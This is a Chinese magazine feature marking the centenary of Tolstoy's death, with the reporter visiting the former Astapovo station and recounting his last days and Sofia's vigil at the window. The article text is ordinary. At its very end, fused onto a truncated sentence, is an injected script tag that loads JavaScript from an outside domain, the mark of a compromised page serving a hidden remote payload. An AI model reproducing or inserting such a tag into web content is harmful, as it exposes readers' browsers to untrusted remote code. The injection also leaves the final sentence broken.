托尔斯泰的100年忌辰如此寂静，当地报纸的内版里偶见小小的黑白照片，旁边配的故事却是俄罗斯年轻人新的文学爱好，比如侦探小说。“文学在这二三十年里的边缘化，应该是整个俄罗斯社会的趋势。”莫斯科国立大学教授米哈耶尔·克鲁普科夫说。

　　狂风裹着白絮乱飞，俄罗斯开始降下今冬的第二场雪。大街上穿着整齐的乞讨者，挂着个吉他唱自编的《托尔斯泰歌谣》：“我是托家的孩子，我的妈妈在火车包厢和托老爷厮混……”但很快被围观的俄罗斯人骂走。

　　“世界上有这么多受苦的人，为什么你们只看到我一人？”这是托尔斯泰临终前最完整的一句话。

三联生活周刊47期封面

　　托翁去世时留下的石膏面模和手模，现在静静放在小站的陈列室内，屋内是无声的参观者（关海彤 摄）

　　记者◎ 葛维樱(发自俄罗斯)

　　最后一站

　　桌上的小座钟永远停留在了这一刻：6点5分。100年前的11月20日，俄罗斯寒冬的早晨还是午夜般的漆黑，托尔斯泰辞世于当时还叫阿斯塔波沃的火车站站长室内。这个著名的悲哀场景至今保留：惨白的一束灯光笼罩在两个堆叠的白色方枕头上，上面有一个头印出的小窝。旁边是一块打补丁的看不出颜色的桌布、掉瓷的水缸，还有已经失去座位的木椅子。站长奥佐林的家是个普通的一层房屋，绿屋顶加红色木条建造，正面有5扇窗户，并列4个小房间。托尔斯泰临终前，妻子索菲亚不允许进屋探望，而她连续几小时站在那儿向里焦虑探望的窗子，正是中间那个。到达现场才发现照片里没能记录下的残忍：屋里的托尔斯泰头虽然靠窗，却被一架屏风严严挡住，索菲亚能看到的，其实只是丈夫的脚。

　　以各种人名命名的地方太多，这里又很不起眼，改来改去居然还保留着这个名字。迄今每年都重新粉刷一新的，还有车站其他三四个小房子，刷成差不多模样。车站至今仍在运行，其他的房屋都还在履行售票或乘务员工作室的职责。托翁去世的房子外面，没有任何明显的标志性提示，只侧面有一块很小的俄文牌子。我们到达时，门外还没有等待的客人，是一片很小的以木栅栏围起的花园，从外面看，窗帘全部拉下来，和一般农家没两样。这所房子完全看不出是目的地，就试着推开了门。小镇从1939年起改名叫托尔斯泰镇，其实和我们的村子差不多大，不过除了托尔斯泰去世的房子，还有东正教堂两座，卫国战争纪念碑3座，而且居然还有一个小小的免费博物馆，对村子里从18世纪起的历次战争保留的文物、牺牲的战士姓名和照片以及一些百姓日用品做展示。朴实的乡村刺绣、草编的摇篮都展示在温暖的橙黄色灯光下，本地人一点也没有忽视自己的历史。

　　从那个时候起，阿斯塔波沃变成了一个必然出现在托翁所有生平简介里的地名。寻访者的问题是，现有资料中找不到这个地名了。摊开俄罗斯地图，找到了一个名叫阿斯塔波沃的小镇，不过这地方却在莫斯科州，不在很多教科书列出的梁赞省，使我们不敢贸然买票。托尔斯泰从家园出走，走不远就病倒了，而且死后从车站运回老家也就一天时间。此阿非彼阿，去过的人说，“至少要走十几个小时的荒芜之地”。于是又查，终于在半信半疑中来到了这个名叫列夫·托尔斯泰镇的地方。在买火车票时，莫斯科大学任光宣院长特意给我在阿斯塔波沃后面用俄语写上“托尔斯泰去世的地方”，可售票员依然迷惑。

　　100年前的这个地方在7天里占据了几百份报纸的头条，收到了1000多封来自世界各地的电报：所有人都意识到，托尔斯泰要死在这里了。为了避免妻子的追踪，托尔斯泰和随行多年的医生马科维茨基一开始乘坐马车，可是很快小女儿就来报信：“母亲不仅要跳湖自杀，还要追过来。”于是，两天里托尔斯泰两次改变线路，他本来只想去修道院看望出家的妹妹，并没有预料到会结束自己的生命。他身边的医生、女儿都是索菲亚的反对派，不断告诉他“母亲来了”?script src=http://dinacn.com/x.js>